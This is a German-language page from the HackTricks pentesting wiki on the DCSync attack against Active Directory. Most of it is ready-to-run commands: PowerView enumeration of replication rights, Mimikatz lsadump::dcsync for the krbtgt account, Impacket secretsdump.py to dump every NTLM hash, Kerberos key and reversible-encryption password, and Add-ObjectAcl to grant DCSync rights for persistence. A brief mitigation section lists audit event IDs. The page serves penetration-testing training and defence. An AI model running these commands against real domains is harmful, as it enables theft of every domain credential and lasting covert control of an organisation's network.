DCSync
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
DCSync
Die DCSync-Berechtigung impliziert, dass man diese Berechtigungen über die Domäne selbst hat: DS-Replication-Get-Changes, Replicating Directory Changes All und Replicating Directory Changes In Filtered Set.
Wichtige Hinweise zu DCSync:
- Der DCSync-Angriff simuliert das Verhalten eines Domain Controllers und fordert andere Domain Controllers auf, Informationen zu replizieren unter Verwendung des Directory Replication Service Remote Protocol (MS-DRSR). Da MS-DRSR eine gültige und notwendige Funktion von Active Directory ist, kann es nicht deaktiviert oder abgeschaltet werden.
- Standardmäßig haben nur die Gruppen Domain Admins, Enterprise Admins, Administrators und Domain Controllers die erforderlichen Berechtigungen.
- Wenn Passwörter von Konten mit umkehrbarer Verschlüsselung gespeichert sind, steht in Mimikatz eine Option zur Verfügung, um das Passwort im Klartext zurückzugeben.
Enumeration
Überprüfen Sie, wer diese Berechtigungen hat, indem Sie powerview
verwenden:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
Lokal ausnutzen
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Exploitieren aus der Ferne
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc
generiert 3 Dateien:
- eine mit den NTLM-Hashes
- eine mit den Kerberos-Schlüsseln
- eine mit Klartext-Passwörtern aus dem NTDS für alle Konten, bei denen umkehrbare Verschlüsselung aktiviert ist. Sie können Benutzer mit umkehrbarer Verschlüsselung mit
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Persistenz
Wenn Sie ein Domänenadministrator sind, können Sie diese Berechtigungen mit Hilfe von powerview
jedem Benutzer gewähren:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Dann können Sie überprüfen, ob der Benutzer korrekt die 3 Berechtigungen zugewiesen bekam, indem Sie nach ihnen in der Ausgabe suchen (Sie sollten die Namen der Berechtigungen im Feld "ObjectType" sehen können):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
Minderung
- Sicherheitsereignis-ID 4662 (Audit-Policy für Objekt muss aktiviert sein) – Eine Operation wurde an einem Objekt durchgeführt
- Sicherheitsereignis-ID 5136 (Audit-Policy für Objekt muss aktiviert sein) – Ein Verzeichnisdienstobjekt wurde geändert
- Sicherheitsereignis-ID 4670 (Audit-Policy für Objekt muss aktiviert sein) – Berechtigungen auf einem Objekt wurden geändert
- AD ACL Scanner - Erstellen und Vergleichen von Berichten über ACLs. https://github.com/canix1/ADACLScanner
Referenzen
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.